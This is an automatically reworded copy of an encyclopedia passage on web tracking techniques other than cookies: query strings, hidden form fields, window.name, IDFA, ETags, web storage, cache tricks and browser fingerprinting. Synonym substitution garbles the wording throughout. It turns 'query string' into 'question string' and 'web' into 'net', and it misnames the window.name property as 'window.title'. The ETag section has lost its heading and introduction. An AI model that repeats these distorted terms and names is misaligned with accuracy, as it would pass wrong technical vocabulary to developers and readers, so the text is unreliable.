A extra exact approach relies on embedding data into URLs. The question string a part of the URL is the half that’s usually used for this objective, however different components can be utilized as nicely. The Java Servlet and PHP session mechanisms each use this technique if cookies aren’t enabled.

This technique consists of the net server appending question strings containing a singular session identifier to all of the hyperlinks within an internet web page. When the person follows a hyperlink, the browser sends the question string to the server, permitting the server to determine the person and preserve state.

These sorts of question strings are similar to cookies in that each include arbitrary items of knowledge chosen by the server and each are despatched again to the server on each request. Nevertheless, there are some variations. Since a question string is a part of a URL, if that URL is later reused, the identical hooked up piece of knowledge shall be despatched to the server, which might result in confusion. For instance, if the preferences of a person are encoded within the question string of a URL and the person sends this URL to a different person by e-mail, these preferences shall be used for that different person as nicely.

Furthermore, if the identical person accesses the identical web page a number of instances from completely different sources, there isn’t a assure that the identical question string shall be used every time. For instance, if a person visits a web page by coming from a web page inside to the location the primary time, after which visits the identical web page by coming from an exterior search engine the second time, the question strings would doubtless be completely different. If cookies had been used on this scenario, the cookies could be the identical.

Different drawbacks of question strings are associated to safety. Storing knowledge that identifies a session in a question string allows session fixation assaults, referer logging assaults and different safety exploits. Transferring session identifiers as HTTP cookies is safer.

Hidden type fields

One other type of session monitoring is to make use of net kinds with hidden fields. This system is similar to utilizing URL question strings to carry the knowledge and has most of the similar benefits and downsides. In truth, if the shape is dealt with with the HTTP GET technique, then this system is just like utilizing URL question strings, for the reason that GET technique provides the shape fields to the URL as a question string. However most kinds are dealt with with HTTP POST, which causes the shape data, together with the hidden fields, to be despatched within the HTTP request physique, which is neither a part of the URL, nor of a cookie.

This method presents two benefits from the standpoint of the tracker. First, having the monitoring data positioned within the HTTP request physique slightly than within the URL means it won’t be observed by the typical person. Second, the session data just isn’t copied when the person copies the URL (to bookmark the web page or ship it by way of e-mail, for instance).

“window.title” DOM property

All present net browsers can retailer a reasonably large quantity of information (2–32 MB) by way of JavaScript utilizing the DOM property window.title. This knowledge can be utilized as an alternative of session cookies and can be cross-domain. The approach will be coupled with JSON/JavaScript objects to retailer advanced units of session variables[78] on the shopper aspect.

The draw back is that each separate window or tab will initially have an empty window.title property when opened. Moreover, the property can be utilized for monitoring guests throughout completely different web sites, making it of concern for Web privateness.

In some respects, this may be safer than cookies resulting from the truth that its contents aren’t mechanically despatched to the server on each request like cookies are, so it’s not weak to community cookie sniffing assaults. Nevertheless, if particular measures aren’t taken to guard the info, it’s weak to different assaults as a result of the info is accessible throughout completely different web sites opened in the identical window or tab.

Identifier for advertisers

Apple makes use of a monitoring approach referred to as “identifier for advertisers” (IDFA). This system assigns a singular identifier to each person who buys an Apple iOS system (equivalent to an iPhone or iPad). This identifier is then utilized by Apple’s promoting community, iAd, to find out the advertisements that people are viewing and responding to.[79]


As a result of ETags are cached by the browser, and returned with subsequent requests for a similar useful resource, a monitoring server can merely repeat any ETag obtained from the browser to make sure an assigned ETag persists indefinitely (in an identical technique to persistent cookies). Further caching headers may improve the preservation of ETag knowledge.

ETags will be flushed in some browsers by clearing the browser cache.

Net storage

Some net browsers assist persistence mechanisms which permit the web page to retailer the knowledge regionally for later use.

The HTML5 commonplace (which most fashionable net browsers assist to some extent) features a JavaScript API referred to as Net storage that permits two forms of storage: native storage and session storage. Native storage behaves equally to persistent cookies whereas session storage behaves equally to session cookies, besides that session storage is tied to a person tab/window’s lifetime (AKA a web page session), to not a complete browser session like session cookies.[80]

Web Explorer helps persistent data[81] within the browser’s historical past, within the browser’s favorites, in an XML retailer (“person knowledge”), or instantly inside an internet web page saved to disk.

Some net browser plugins embrace persistence mechanisms as nicely. For instance, Adobe Flash has Native shared object and Microsoft Silverlight has Remoted storage.[82]

Browser cache

The browser cache will also be used to retailer data that can be utilized to trace particular person customers. This system takes benefit of the truth that the net browser will use sources saved throughout the cache as an alternative of downloading them from the web site when it determines that the cache already has essentially the most up-to-date model of the useful resource.

For instance, a web site might serve a JavaScript file with code that units a singular identifier for the person (for instance, var userId = 3243242;). After the person’s preliminary go to, each time the person accesses the web page, this file shall be loaded from the cache as an alternative of downloaded from the server. Thus, its content material won’t ever change.

Browser fingerprint

A browser fingerprint is data collected a couple of browser’s configuration, equivalent to model quantity, display screen decision, and working system, for the aim of identification. Fingerprints can be utilized to totally or partially determine particular person customers or gadgets even when cookies are turned off.

Primary net browser configuration data has lengthy been collected by net analytics companies in an effort to precisely measure actual human net visitors and low cost numerous types of click on fraud. With the help of client-side scripting languages, assortment of way more esoteric parameters is feasible.[83][84] Assimilation of such data right into a single string contains a tool fingerprint. In 2010, EFF measured at the least 18.1 bits of entropy attainable from browser fingerprinting.[85]Canvas fingerprinting, a newer approach, claims so as to add one other 5.7 bits.

See additionally


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  • Nameless, 2011. Cookiejacking Assault Steals Web site Entry Credentials. Informationweek – On-line, pp. Informationweek – On-line, Might 26, 2011.

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